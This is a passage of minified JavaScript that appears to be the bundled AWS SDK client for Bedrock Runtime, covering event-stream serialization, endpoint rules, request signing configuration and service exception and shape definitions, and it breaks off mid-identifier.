K84=v((UT3)=>{var cLA=gLA();function gT3(A){let K=0,q=0,Y=null,z=null,w=(J)=>{if(typeof J!=="number")throw Error("Attempted to allocate an event message where size was not a number: "+J);K=J,q=4,Y=new Uint8Array(J),new DataView(Y.buffer).setUint32(0,J,!1)},H=async function*(){let J=A[Symbol.asyncIterator]();while(!0){let{value:O,done:X}=await J.next();if(X){if(!K)return;else if(K===q)yield Y;else throw Error("Truncated event message received.");return}let $=O.length,_=0;while(_<$){if(!Y){let Z=$-_;if(!z)z=new Uint8Array(4);let W=Math.min(4-q,Z);if(z.set(O.slice(_,_+W),q),q+=W,_+=W,q<4)break;w(new DataView(z.buffer).getUint32(0,!1)),z=null}let G=Math.min(K-q,$-_);if(Y.set(O.slice(_,_+G),q),q+=G,_+=G,K&&K===q)yield Y,Y=null,K=0,q=0}}};return{[Symbol.asyncIterator]:H}}function FT3(A,K){return async function(q){let{value:Y}=q.headers[":message-type"];if(Y==="error"){let z=Error(q.headers[":error-message"].value||"UnknownError");throw z.name=q.headers[":error-code"].value,z}else if(Y==="exception"){let z=q.headers[":exception-type"].value,w={[z]:q},H=await A(w);if(H.$unknown){let J=Error(K(q.body));throw J.name=z,J}throw H[z]}else if(Y==="event"){let z={[q.headers[":event-type"].value]:q},w=await A(z);if(w.$unknown)return;return w}else throw Error(`Unrecognizable event type: ${q.headers[":event-type"].value}`)}}class Y16{eventStreamCodec;utfEncoder;constructor({utf8Encoder:A,utf8Decoder:K}){this.eventStreamCodec=new cLA.EventStreamCodec(A,K),this.utfEncoder=A}deserialize(A,K){let q=gT3(A);return new cLA.SmithyMessageDecoderStream({messageStream:new cLA.MessageDecoderStream({inputStream:q,decoder:this.eventStreamCodec}),deserializer:FT3(K,this.utfEncoder)})}serialize(A,K){return new cLA.MessageEncoderStream({messageStream:new cLA.SmithyMessageEncoderStream({inputStream:A,serializer:K}),encoder:this.eventStreamCodec,includeEndFrame:!0})}}var QT3=(A)=>new Y16(A);UT3.EventStreamMarshaller=Y16;UT3.eventStreamSerdeProvider=QT3});var q84=v((rT3)=>{var cT3=K84(),lT3=CA("stream");async function*iT3(A){let K=!1,q=!1,Y=[];A.on("error",(z)=>{if(!K)K=!0;if(z)throw z}),A.on("data",(z)=>{Y.push(z)}),A.on("end",()=>{K=!0});while(!q){let z=await new Promise((w)=>setTimeout(()=>w(Y.shift()),0));if(z)yield z;q=K&&Y.length===0}}class z16{universalMarshaller;constructor({utf8Encoder:A,utf8Decoder:K}){this.universalMarshaller=new cT3.EventStreamMarshaller({utf8Decoder:K,utf8Encoder:A})}deserialize(A,K){let q=typeof A[Symbol.asyncIterator]==="function"?A:iT3(A);return this.universalMarshaller.deserialize(q,K)}serialize(A,K){return lT3.Readable.from(this.universalMarshaller.serialize(A,K))}}var nT3=(A)=>new z16(A);rT3.EventStreamMarshaller=z16;rT3.eventStreamSerdeProvider=nT3});var Y84=v((tT3)=>{var sT3=(A)=>typeof ArrayBuffer==="function"&&A instanceof ArrayBuffer||Object.prototype.toString.call(A)==="[object ArrayBuffer]";tT3.isArrayBuffer=sT3});var H16=v((Yv3)=>{var Av3=Y84(),w16=CA("buffer"),Kv3=(A,K=0,q=A.byteLength-K)=>{if(!Av3.isArrayBuffer(A))throw TypeError(`The "input" argument must be ArrayBuffer. Received type ${typeof A} (${A})`);return w16.Buffer.from(A,K,q)},qv3=(A,K)=>{if(typeof A!=="string")throw TypeError(`The "input" argument must be of type string. Received type ${typeof A} (${A})`);return K?w16.Buffer.from(A,K):w16.Buffer.from(A)};Yv3.fromArrayBuffer=Kv3;Yv3.fromString=qv3});var H84=v((z84)=>{Object.defineProperty(z84,"__esModule",{value:!0});z84.fromBase64=void 0;var Hv3=H16(),Jv3=/^[A-Za-z0-9+/]*={0,2}$/,Ov3=(A)=>{if(A.length*3%4!==0)throw TypeError("Incorrect padding on base64 string.");if(!Jv3.exec(A))throw TypeError("Invalid base64 string.");let K=(0,Hv3.fromString)(A,"base64");return new Uint8Array(K.buffer,K.byteOffset,K.byteLength)};z84.fromBase64=Ov3});var X84=v((J84)=>{Object.defineProperty(J84,"__esModule",{value:!0});J84.toBase64=void 0;var Xv3=H16(),$v3=_z(),_v3=(A)=>{let K;if(typeof A==="string")K=(0,$v3.fromUtf8)(A);else K=A;if(typeof K!=="object"||typeof K.byteOffset!=="number"||typeof K.byteLength!=="number")throw Error("@smithy/util-base64: toBase64 encoder function only accepts string | Uint8Array.");return(0,Xv3.fromArrayBuffer)(K.buffer,K.byteOffset,K.byteLength).toString("base64")};J84.toBase64=_v3});var G84=v((lLA)=>{var $84=H84(),_84=X84();Object.keys($84).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(lLA,A))Object.defineProperty(lLA,A,{enumerable:!0,get:function(){return $84[A]}})});Object.keys(_84).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(lLA,A))Object.defineProperty(lLA,A,{enumerable:!0,get:function(){return _84[A]}})})});var R84=v((C84)=>{Object.defineProperty(C84,"__esModule",{value:!0});C84.ruleSet=void 0;var v84="required",qx="fn",Yx="argv",sOA="ref",Z84=!0,W84="isSet",nLA="booleanEquals",aOA="error",iLA="endpoint",qM="tree",J16="PartitionResult",D84={[v84]:!1,type:"string"},j84={[v84]:!0,default:!1,type:"boolean"},M84={[sOA]:"Endpoint"},E84={[qx]:nLA,[Yx]:[{[sOA]:"UseFIPS"},!0]},k84={[qx]:nLA,[Yx]:[{[sOA]:"UseDualStack"},!0]},Kx={},P84={[qx]:"getAttr",[Yx]:[{[sOA]:J16},"supportsFIPS"]},V84={[qx]:nLA,[Yx]:[!0,{[qx]:"getAttr",[Yx]:[{[sOA]:J16},"supportsDualStack"]}]},f84=[E84],N84=[k84],T84=[{[sOA]:"Region"}],Gv3={version:"1.0",parameters:{Region:D84,UseDualStack:j84,UseFIPS:j84,Endpoint:D84},rules:[{conditions:[{[qx]:W84,[Yx]:[M84]}],rules:[{conditions:f84,error:"Invalid Configuration: FIPS and custom endpoint are not supported",type:aOA},{rules:[{conditions:N84,error:"Invalid Configuration: Dualstack and custom endpoint are not supported",type:aOA},{endpoint:{url:M84,properties:Kx,headers:Kx},type:iLA}],type:qM}],type:qM},{rules:[{conditions:[{[qx]:W84,[Yx]:T84}],rules:[{conditions:[{[qx]:"aws.partition",[Yx]:T84,assign:J16}],rules:[{conditions:[E84,k84],rules:[{conditions:[{[qx]:nLA,[Yx]:[Z84,P84]},V84],rules:[{rules:[{endpoint:{url:"https://bedrock-runtime-fips.{Region}.{PartitionResult#dualStackDnsSuffix}",properties:Kx,headers:Kx},type:iLA}],type:qM}],type:qM},{error:"FIPS and DualStack are enabled, but this partition does not support one or both",type:aOA}],type:qM},{conditions:f84,rules:[{conditions:[{[qx]:nLA,[Yx]:[P84,Z84]}],rules:[{rules:[{endpoint:{url:"https://bedrock-runtime-fips.{Region}.{PartitionResult#dnsSuffix}",properties:Kx,headers:Kx},type:iLA}],type:qM}],type:qM},{error:"FIPS is enabled but this partition does not support FIPS",type:aOA}],type:qM},{conditions:N84,rules:[{conditions:[V84],rules:[{rules:[{endpoint:{url:"https://bedrock-runtime.{Region}.{PartitionResult#dualStackDnsSuffix}",properties:Kx,headers:Kx},type:iLA}],type:qM}],type:qM},{error:"DualStack is enabled but this partition does not support DualStack",type:aOA}],type:qM},{rules:[{endpoint:{url:"https://bedrock-runtime.{Region}.{PartitionResult#dnsSuffix}",properties:Kx,headers:Kx},type:iLA}],type:qM}],type:qM}],type:qM},{error:"Invalid Configuration: Missing Region",type:aOA}],type:qM}]};C84.ruleSet=Gv3});var S84=v((y84)=>{Object.defineProperty(y84,"__esModule",{value:!0});y84.defaultEndpointResolver=void 0;var Zv3=gb(),O16=Ky(),Wv3=R84(),Dv3=new O16.EndpointCache({size:50,params:["Endpoint","Region","UseDualStack","UseFIPS"]}),jv3=(A,K={})=>{return Dv3.get(A,()=>(0,O16.resolveEndpoint)(Wv3.ruleSet,{endpointParams:A,logger:K.logger}))};y84.defaultEndpointResolver=jv3;O16.customEndpointFunctions.aws=Zv3.awsEndpointFunctions});var B84=v((x84)=>{Object.defineProperty(x84,"__esModule",{value:!0});x84.getRuntimeConfig=void 0;var Mv3=aw(),Pv3=eF(),Vv3=Gz(),fv3=dLA(),Nv3=tE(),h84=G84(),b84=_z(),Tv3=q16(),vv3=S84(),Ev3=(A)=>{return{apiVersion:"2023-09-30",base64Decoder:A?.base64Decoder??h84.fromBase64,base64Encoder:A?.base64Encoder??h84.toBase64,disableHostPrefix:A?.disableHostPrefix??!1,endpointProvider:A?.endpointProvider??vv3.defaultEndpointResolver,extensions:A?.extensions??[],httpAuthSchemeProvider:A?.httpAuthSchemeProvider??Tv3.defaultBedrockRuntimeHttpAuthSchemeProvider,httpAuthSchemes:A?.httpAuthSchemes??[{schemeId:"aws.auth#sigv4",identityProvider:(K)=>K.getIdentityProvider("aws.auth#sigv4"),signer:new Mv3.AwsSdkSigV4Signer},{schemeId:"smithy.api#httpBearerAuth",identityProvider:(K)=>K.getIdentityProvider("smithy.api#httpBearerAuth"),signer:new Vv3.HttpBearerAuthSigner}],logger:A?.logger??new fv3.NoOpLogger,protocol:A?.protocol??new Pv3.AwsRestJsonProtocol({defaultNamespace:"com.amazonaws.bedrockruntime"}),serviceId:A?.serviceId??"Bedrock Runtime",urlParser:A?.urlParser??Nv3.parseUrl,utf8Decoder:A?.utf8Decoder??b84.fromUtf8,utf8Encoder:A?.utf8Encoder??b84.toUtf8}};x84.getRuntimeConfig=Ev3});var d84=v((U84)=>{Object.defineProperty(U84,"__esModule",{value:!0});U84.getRuntimeConfig=void 0;var kv3=Uz(),Cv3=kv3.__importDefault(s64()),X16=aw(),Lv3=W8A(),Rv3=A84(),m84=V81(),g84=oF(),K71=l0(),yv3=Gz(),Iv3=q84(),Sv3=aF(),F84=kZ(),E8A=NV(),Q84=zT(),hv3=sF(),bv3=db(),xv3=B84(),uv3=dLA(),Bv3=KQ(),mv3=dLA(),gv3=(A)=>{(0,mv3.emitWarningIfUnsupportedVersion)(process.version);let K=(0,Bv3.resolveDefaultsModeConfig)(A),q=()=>K().then(uv3.loadConfigsForDefaultMode),Y=(0,xv3.getRuntimeConfig)(A);(0,X16.emitWarningIfUnsupportedVersion)(process.version);let z={profile:A?.profile,logger:Y.logger,signingName:"bedrock"};return{...Y,...A,runtime:"node",defaultsMode:K,authSchemePreference:A?.authSchemePreference??(0,E8A.loadConfig)(X16.NODE_AUTH_SCHEME_PREFERENCE_OPTIONS,z),bodyLengthChecker:A?.bodyLengthChecker??hv3.calculateBodyLength,credentialDefaultProvider:A?.credentialDefaultProvider??Lv3.defaultProvider,defaultUserAgentProvider:A?.defaultUserAgentProvider??(0,g84.createDefaultUserAgentProvider)({serviceId:Y.serviceId,clientVersion:Cv3.default.version}),eventStreamPayloadHandlerProvider:A?.eventStreamPayloadHandlerProvider??Rv3.eventStreamPayloadHandlerProvider,eventStreamSerdeProvider:A?.eventStreamSerdeProvider??Iv3.eventStreamSerdeProvider,httpAuthSchemes:A?.httpAuthSchemes??[{schemeId:"aws.auth#sigv4",identityProvider:(w)=>w.getIdentityProvider("aws.auth#sigv4"),signer:new X16.AwsSdkSigV4Signer},{schemeId:"smithy.api#httpBearerAuth",identityProvider:(w)=>w.getIdentityProvider("smithy.api#httpBearerAuth")||(async(H)=>{try{return await(0,m84.fromEnvSigningName)({signingName:"bedrock"})()}catch(J){return await(0,m84.nodeProvider)(H)(H)}}),signer:new yv3.HttpBearerAuthSigner}],maxAttempts:A?.maxAttempts??(0,E8A.loadConfig)(F84.NODE_MAX_ATTEMPT_CONFIG_OPTIONS,A),region:A?.region??(0,E8A.loadConfig)(K71.NODE_REGION_CONFIG_OPTIONS,{...K71.NODE_REGION_CONFIG_FILE_OPTIONS,...z}),requestHandler:Q84.NodeHttp2Handler.create(A?.requestHandler??(async()=>({...await q(),disableConcurrentStreams:!0}))),retryMode:A?.retryMode??(0,E8A.loadConfig)({...F84.NODE_RETRY_MODE_CONFIG_OPTIONS,default:async()=>(await q()).retryMode||bv3.DEFAULT_RETRY_MODE},A),sha256:A?.sha256??Sv3.Hash.bind(null,"sha256"),streamCollector:A?.streamCollector??Q84.streamCollector,useDualstackEndpoint:A?.useDualstackEndpoint??(0,E8A.loadConfig)(K71.NODE_USE_DUALSTACK_ENDPOINT_CONFIG_OPTIONS,z),useFipsEndpoint:A?.useFipsEndpoint??(0,E8A.loadConfig)(K71.NODE_USE_FIPS_ENDPOINT_CONFIG_OPTIONS,z),userAgentAppId:A?.userAgentAppId??(0,E8A.loadConfig)(g84.NODE_APP_ID_CONFIG_OPTIONS,z)}};U84.getRuntimeConfig=gv3});var n84=v((cv3)=>{var Fv3=nA6(),Qv3=(A)=>{return{setHttpHandler(K){A.httpHandler=K},httpHandler(){return A.httpHandler},updateHttpClientConfig(K,q){A.httpHandler?.updateHttpClientConfig(K,q)},httpHandlerConfigs(){return A.httpHandler.httpHandlerConfigs()}}},Uv3=(A)=>{return{httpHandler:A.httpHandler()}};class c84{name;kind;values;constructor({name:A,kind:K=Fv3.FieldPosition.HEADER,values:q=[]}){this.name=A,this.kind=K,this.values=q}add(A){this.values.push(A)}set(A){this.values=A}remove(A){this.values=this.values.filter((K)=>K!==A)}toString(){return this.values.map((A)=>A.includes(",")||A.includes(" ")?`"${A}"`:A).join(", ")}get(){return this.values}}class l84{entries={};encoding;constructor({fields:A=[],encoding:K="utf-8"}){A.forEach(this.setField.bind(this)),this.encoding=K}setField(A){this.entries[A.name.toLowerCase()]=A}getField(A){return this.entries[A.toLowerCase()]}removeField(A){delete this.entries[A.toLowerCase()]}getByType(A){return Object.values(this.entries).filter((K)=>K.kind===A)}}class q71{method;protocol;hostname;port;path;query;headers;username;password;fragment;body;constructor(A){this.method=A.method||"GET",this.hostname=A.hostname||"localhost",this.port=A.port,this.query=A.query||{},this.headers=A.headers||{},this.body=A.body,this.protocol=A.protocol?A.protocol.slice(-1)!==":"?`${A.protocol}:`:A.protocol:"https:",this.path=A.path?A.path.charAt(0)!=="/"?`/${A.path}`:A.path:"/",this.username=A.username,this.password=A.password,this.fragment=A.fragment}static clone(A){let K=new q71({...A,headers:{...A.headers}});if(K.query)K.query=pv3(K.query);return K}static isInstance(A){if(!A)return!1;let K=A;return"method"in K&&"protocol"in K&&"hostname"in K&&"path"in K&&typeof K.query==="object"&&typeof K.headers==="object"}clone(){return q71.clone(this)}}function pv3(A){return Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{})}class i84{statusCode;reason;headers;body;constructor(A){this.statusCode=A.statusCode,this.reason=A.reason,this.headers=A.headers||{},this.body=A.body}static isInstance(A){if(!A)return!1;let K=A;return typeof K.statusCode==="number"&&typeof K.headers==="object"}}function dv3(A){return/^[a-z0-9][a-z0-9\.\-]*[a-z0-9]$/.test(A)}cv3.Field=c84;cv3.Fields=l84;cv3.HttpRequest=q71;cv3.HttpResponse=i84;cv3.getHttpHandlerExtensionConfiguration=Qv3;cv3.isValidHostname=dv3;cv3.resolveHttpHandlerRuntimeConfig=Uv3});var S71=v((t16)=>{var J44=Z14(),r84=BF(),tv3=mF(),ev3=gF(),o84=Ub(),O44=u64(),AE3=l0(),Y71=Gz(),LV=DJ(),KE3=B64(),qE3=rF(),Gy=qy(),a84=kZ(),IZ=dLA(),s84=q16(),YE3=d84(),t84=Yy(),e84=n84(),zE3=(A)=>{return Object.assign(A,{useDualstackEndpoint:A.useDualstackEndpoint??!1,useFipsEndpoint:A.useFipsEndpoint??!1,defaultSigningName:"bedrock"})},zx={UseFIPS:{type:"builtInParams",name:"useFipsEndpoint"},Endpoint:{type:"builtInParams",name:"endpoint"},Region:{type:"builtInParams",name:"region"},UseDualStack:{type:"builtInParams",name:"useDualstackEndpoint"}},wE3=(A)=>{let{httpAuthSchemes:K,httpAuthSchemeProvider:q,credentials:Y,token:z}=A;return{setHttpAuthScheme(w){let H=K.findIndex((J)=>J.schemeId===w.schemeId);if(H===-1)K.push(w);else K.splice(H,1,w)},httpAuthSchemes(){return K},setHttpAuthSchemeProvider(w){q=w},httpAuthSchemeProvider(){return q},setCredentials(w){Y=w},credentials(){return Y},setToken(w){z=w},token(){return z}}},HE3=(A)=>{return{httpAuthSchemes:A.httpAuthSchemes(),httpAuthSchemeProvider:A.httpAuthSchemeProvider(),credentials:A.credentials(),token:A.token()}},JE3=(A,K)=>{let q=Object.assign(t84.getAwsRegionExtensionConfiguration(A),IZ.getDefaultExtensionConfiguration(A),e84.getHttpHandlerExtensionConfiguration(A),wE3(A));return K.forEach((Y)=>Y.configure(q)),Object.assign(A,t84.resolveAwsRegionExtensionConfiguration(q),IZ.resolveDefaultRuntimeConfig(q),e84.resolveHttpHandlerRuntimeConfig(q),HE3(q))};class w71 extends IZ.Client{config;constructor(...[A]){let K=YE3.getRuntimeConfig(A||{});super(K);this.initConfig=K;let q=zE3(K),Y=o84.resolveUserAgentConfig(q),z=a84.resolveRetryConfig(Y),w=AE3.resolveRegionConfig(z),H=r84.resolveHostHeaderConfig(w),J=Gy.resolveEndpointConfig(H),O=KE3.resolveEventStreamSerdeConfig(J),X=s84.resolveHttpAuthSchemeConfig(O),$=J44.resolveEventStreamConfig(X),_=O44.resolveWebSocketConfig($),G=JE3(_,A?.extensions||[]);this.config=G,this.middlewareStack.use(LV.getSchemaSerdePlugin(this.config)),this.middlewareStack.use(o84.getUserAgentPlugin(this.config)),this.middlewareStack.use(a84.getRetryPlugin(this.config)),this.middlewareStack.use(qE3.getContentLengthPlugin(this.config)),this.middlewareStack.use(r84.getHostHeaderPlugin(this.config)),this.middlewareStack.use(tv3.getLoggerPlugin(this.config)),this.middlewareStack.use(ev3.getRecursionDetectionPlugin(this.config)),this.middlewareStack.use(Y71.getHttpAuthSchemeEndpointRuleSetPlugin(this.config,{httpAuthSchemeParametersProvider:s84.defaultBedrockRuntimeHttpAuthSchemeParametersProvider,identityProviderConfigProvider:async(Z)=>new Y71.DefaultIdentityProviderConfig({"aws.auth#sigv4":Z.credentials,"smithy.api#httpBearerAuth":Z.token})})),this.middlewareStack.use(Y71.getHttpSigningPlugin(this.config))}destroy(){super.destroy()}}var RV=class A extends IZ.ServiceException{constructor(K){super(K);Object.setPrototypeOf(this,A.prototype)}},X44=class A extends RV{name="AccessDeniedException";$fault="client";constructor(K){super({name:"AccessDeniedException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},$44=class A extends RV{name="InternalServerException";$fault="server";constructor(K){super({name:"InternalServerException",$fault:"server",...K});Object.setPrototypeOf(this,A.prototype)}},_44=class A extends RV{name="ThrottlingException";$fault="client";constructor(K){super({name:"ThrottlingException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},G44=class A extends RV{name="ValidationException";$fault="client";constructor(K){super({name:"ValidationException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},Z44=class A extends RV{name="ConflictException";$fault="client";constructor(K){super({name:"ConflictException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},W44=class A extends RV{name="ResourceNotFoundException";$fault="client";constructor(K){super({name:"ResourceNotFoundException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},D44=class A extends RV{name="ServiceQuotaExceededException";$fault="client";constructor(K){super({name:"ServiceQuotaExceededException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},j44=class A extends RV{name="ServiceUnavailableException";$fault="server";constructor(K){super({name:"ServiceUnavailableException",$fault:"server",...K});Object.setPrototypeOf(this,A.prototype)}},M44=class A extends RV{name="ModelErrorException";$fault="client";originalStatusCode;resourceName;constructor(K){super({name:"ModelErrorException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype),this.originalStatusCode=K.originalStatusCode,this.resourceName=K.resourceName}},P44=class A extends RV{name="ModelNotReadyException";$fault="client";$retryable={};constructor(K){super({name:"ModelNotReadyException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},V44=class A extends RV{name="ModelTimeoutException";$fault="client";constructor(K){super({name:"ModelTimeoutException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},f44=class A extends RV{name="ModelStreamErrorException";$fault="client";originalStatusCode;originalMessage;constructor(K){super({name:"ModelStreamErrorException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype),this.originalStatusCode=K.originalStatusCode,this.originalMessage=K.originalMessage}},OE3="Accept",XE3="AccessDeniedException",$E3="ApplyGuardrail",_E3="ApplyGuardrailRequest",GE3="ApplyGuardrailResponse",ZE3="AsyncInvokeMessage",WE3="AsyncInvokeOutputDataConfig",DE3="AsyncInvokeSummary",jE3="AsyncInvokeS3OutputDataConfig",ME3="AsyncInvokeSummaries",PE3="AnyToolChoice",VE3="AutoToolChoice",fE3="Body",NE3="BidirectionalInputPayloadPart",TE3="BidirectionalOutputPayloadPart",vE3="Citation",EE3="ContentBlocks",kE3="ContentBlockDelta",CE3="ContentBlockDeltaEvent",LE3="ContentBlockStart",RE3="ContentBlockStartEvent",yE3="ContentBlockStopEvent",IE3="ContentBlock",SE3="CitationsConfig",hE3="CitationsContentBlock",bE3="CitationsDelta",xE3="ConflictException",uE3="CitationGeneratedContent",BE3="CitationGeneratedContentList",mE3="CitationLocation",gE3="ConverseMetrics",FE3="ConverseOutput",QE3="CachePointBlock",UE3="ConverseRequest",pE3="ConverseResponse",dE3="ConverseStream",cE3="CitationSourceContent",lE3="CitationSourceContentDelta",iE3="CitationSourceContentList",nE3="CitationSourceContentListDelta",rE3="ConverseStreamMetrics",oE3="ConverseStreamMetadataEvent",aE3="ConverseStreamOutput",sE3="ConverseStreamRequest",tE3="ConverseStreamResponse",eE3="ConverseStreamTrace",Ak3="ConverseTrace",Kk3="CountTokensInput",qk3="ConverseTokensRequest",Yk3="CountTokensRequest",zk3="CountTokensResponse",_16="Content-Type",wk3="CountTokens",Hk3="Citations",Jk3="Converse",Ok3="DocumentBlock",Xk3="DocumentContentBlocks",$k3="DocumentContentBlock",_k3="DocumentCharLocation",Gk3="DocumentChunkLocation",Zk3="DocumentPageLocation",Wk3="DocumentSource",Dk3="GuardrailAssessment",jk3="GetAsyncInvoke",Mk3="GetAsyncInvokeRequest",Pk3="GetAsyncInvokeResponse",Vk3="GuardrailAssessmentList",fk3="GuardrailAssessmentListMap",Nk3="GuardrailAssessmentMap",Tk3="GuardrailAutomatedReasoningDifferenceScenarioList",vk3="GuardrailAutomatedReasoningFinding",Ek3="GuardrailAutomatedReasoningFindingList",kk3="GuardrailAutomatedReasoningImpossibleFinding",Ck3="GuardrailAutomatedReasoningInvalidFinding",Lk3="GuardrailAutomatedReasoningInputTextReference",Rk3="GuardrailAutomatedReasoningInputTextReferenceList",yk3="GuardrailAutomatedReasoningLogicWarning",Ik3="GuardrailAutomatedReasoningNoTranslationsFinding",Sk3="GuardrailAutomatedReasoningPolicyAssessment",hk3="GuardrailAutomatedReasoningRule",bk3="GuardrailAutomatedReasoningRuleList",xk3="GuardrailAutomatedReasoningScenario",uk3="GuardrailAutomatedReasoningSatisfiableFinding",Bk3="GuardrailAutomatedReasoningStatementList",mk3="GuardrailAutomatedReasoningStatementLogicContent",gk3="GuardrailAutomatedReasoningStatementNaturalLanguageContent",Fk3="GuardrailAutomatedReasoningStatement",Qk3="GuardrailAutomatedReasoningTranslation",Uk3="GuardrailAutomatedReasoningTranslationAmbiguousFinding",pk3="GuardrailAutomatedReasoningTooComplexFinding",dk3="GuardrailAutomatedReasoningTranslationList",ck3="GuardrailAutomatedReasoningTranslationOption",lk3="GuardrailAutomatedReasoningTranslationOptionList",ik3="GuardrailAutomatedReasoningValidFinding",nk3="GuardrailConfiguration",rk3="GuardrailContentBlock",ok3="GuardrailContentBlockList",ak3="GuardrailConverseContentBlock",sk3="GuardrailContentFilter",tk3="GuardrailContentFilterList",ek3="GuardrailContextualGroundingFilter",AC3="GuardrailContextualGroundingFilters",KC3="GuardrailContextualGroundingPolicyAssessment",qC3="GuardrailConverseImageBlock",YC3="GuardrailConverseImageSource",zC3="GuardrailContentPolicyAssessment",wC3="GuardrailConverseTextBlock",HC3="GuardrailCustomWord",JC3="GuardrailCustomWordList",OC3="GuardrailCoverage",XC3="GuardrailImageBlock",$C3="GuardrailImageCoverage",_C3="GuardrailInvocationMetrics",GC3="GuardrailImageSource",ZC3="GuardrailManagedWord",WC3="GuardrailManagedWordList",DC3="GuardrailOutputContent",jC3="GuardrailOutputContentList",MC3="GuardrailPiiEntityFilter",PC3="GuardrailPiiEntityFilterList",VC3="GuardrailRegexFilter",fC3="GuardrailRegexFilterList",NC3="GuardrailStreamConfiguration",TC3="GuardrailSensitiveInformationPolicyAssessment",vC3="GuardrailTopic",EC3="GuardrailTraceAssessment",kC3="GuardrailTextBlock",CC3="GuardrailTextCharactersCoverage",LC3="GuardrailTopicList",RC3="GuardrailTopicPolicyAssessment",yC3="GuardrailUsage",IC3="GuardrailWordPolicyAssessment",SC3="ImageBlock",hC3="InferenceConfiguration",bC3="InvokeModel",xC3="InvokeModelRequest",uC3="InvokeModelResponse",BC3="InvokeModelTokensRequest",mC3="InvokeModelWithBidirectionalStream",gC3="InvokeModelWithBidirectionalStreamInput",FC3="InvokeModelWithBidirectionalStreamOutput",QC3="InvokeModelWithBidirectionalStreamRequest",UC3="InvokeModelWithBidirectionalStreamResponse",pC3="InvokeModelWithResponseStream",dC3="InvokeModelWithResponseStreamRequest",cC3="InvokeModelWithResponseStreamResponse",lC3="ImageSource",iC3="InternalServerException",nC3="ListAsyncInvokes",rC3="ListAsyncInvokesRequest",oC3="ListAsyncInvokesResponse",aC3="Message",sC3="ModelErrorException",tC3="ModelInputPayload",eC3="ModelNotReadyException",AL3="MessageStartEvent",KL3="ModelStreamErrorException",qL3="MessageStopEvent",YL3="ModelTimeoutException",zL3="Messages",wL3="PartBody",HL3="PerformanceConfiguration",JL3="PayloadPart",OL3="PromptRouterTrace",XL3="PromptVariableMap",$L3="PromptVariableValues",_L3="ReasoningContentBlock",GL3="ReasoningContentBlockDelta",ZL3="RequestMetadata",WL3="ResourceNotFoundException",DL3="ResponseStream",jL3="ReasoningTextBlock",ML3="StartAsyncInvoke",PL3="StartAsyncInvokeRequest",VL3="StartAsyncInvokeResponse",fL3="SystemContentBlocks",NL3="SystemContentBlock",TL3="S3Location",vL3="ServiceQuotaExceededException",EL3="SearchResultBlock",kL3="SearchResultContentBlock",CL3="SearchResultContentBlocks",LL3="SearchResultLocation",RL3="ServiceTier",yL3="SpecificToolChoice",IL3="SystemTool",SL3="ServiceUnavailableException",hL3="Tag",bL3="ToolConfiguration",xL3="ToolChoice",uL3="ThrottlingException",BL3="ToolInputSchema",mL3="TagList",gL3="ToolResultBlock",FL3="ToolResultBlocksDelta",QL3="ToolResultBlockDelta",UL3="ToolResultBlockStart",pL3="ToolResultContentBlocks",dL3="ToolResultContentBlock",cL3="ToolSpecification",lL3="TokenUsage",iL3="ToolUseBlock",nL3="ToolUseBlockDelta",rL3="ToolUseBlockStart",oL3="Tools",aL3="Tool",sL3="VideoBlock",tL3="ValidationException",eL3="VideoSource",AR3="WebLocation",KR3="X-Amzn-Bedrock-Accept",qR3="X-Amzn-Bedrock-Content-Type",N44="X-Amzn-Bedrock-GuardrailIdentifier",T44="X-Amzn-Bedrock-GuardrailVersion",H71="X-Amzn-Bedrock-PerformanceConfig-Latency",J71="X-Amzn-Bedrock-Service-Tier",v44="X-Amzn-Bedrock-Trace",Nn="action",YR3="asyncInvokeSummaries",G16="additionalModelRequestFields",E44="additionalModelResponseFieldPaths",k44="additionalModelResponseFields",C44="actionReason",zR3="automatedReasoningPolicy",wR3="automatedReasoningPolicyUnits",HR3="automatedReasoningPolicies",L44="accept",JR3="any",OR3="assessments",XR3="auto",Tn="bytes",R44="bucketOwner",C8A="body",wx="client",$R3="contentBlockDelta",Z16="contentBlockIndex",_R3="contentBlockStart",GR3="contentBlockStop",ZR3="citationsContent",WR3="claimsFalseScenario",DR3="contextualGroundingPolicy",jR3="contextualGroundingPolicyUnits",MR3="contentPolicy",PR3="contentPolicyImageUnits",VR3="contentPolicyUnits",W16="cachePoint",y44="contradictingRules",fR3="cacheReadInputTokens",D16="clientRequestToken",O71="contentType",I44="claimsTrueScenario",NR3="customWords",TR3="cacheWriteInputTokens",j16="chunk",M16="citations",vR3="citation",S44="claims",tOA="content",ER3="context",h44="confidence",kR3="converse",CR3="delta",LR3="documentChar",RR3="documentChunk",P16="documentIndex",yR3="documentPage",IR3="differenceScenarios",L8A="detected",SR3="description",hR3="domain",b44="document",Wk="error",x44="endTime",bR3="enabled",X71="end",oLA="format",u44="failureMessage",xR3="filterStrength",uR3="findings",B44="filters",m44="guardrail",g44="guardrailCoverage",F44="guardrailConfig",Q44="guardContent",aLA="guardrailIdentifier",BR3="guardrailProcessingLatency",sLA="guardrailVersion",U44="guarded",Hx="http",Dk="httpError",nX="httpHeader",k8A="httpQuery",V16="input",$71="invocationArn",mR3="inputAssessment",p44="inferenceConfig",gR3="invocationMetrics",FR3="invokedModelId",QR3="invokeModel",UR3="inputSchema",f16="internalServerException",d44="inputTokens",pR3="identifier",dR3="images",_71="image",cR3="impossible",lR3="invalid",c44="json",iR3="key",nR3="kmsKeyId",l44="location",i44="latencyMs",n44="lastModifiedTime",G71="logicWarning",rR3="latency",oR3="logic",_T="message",r44="modelArn",R8A="modelId",aR3="modelInput",sR3="modelOutput",A44="maxResults",tR3="messageStart",N16="modelStreamErrorException",eR3="messageStop",Ay3="maxTokens",o44="modelTimeoutException",Ky3="managedWordLists",Z71="match",T16="messages",a44="metrics",qy3="metadata",vn="name",Yy3="naturalLanguage",$16="nextToken",zy3="noTranslations",wy3="outputs",Hy3="outpu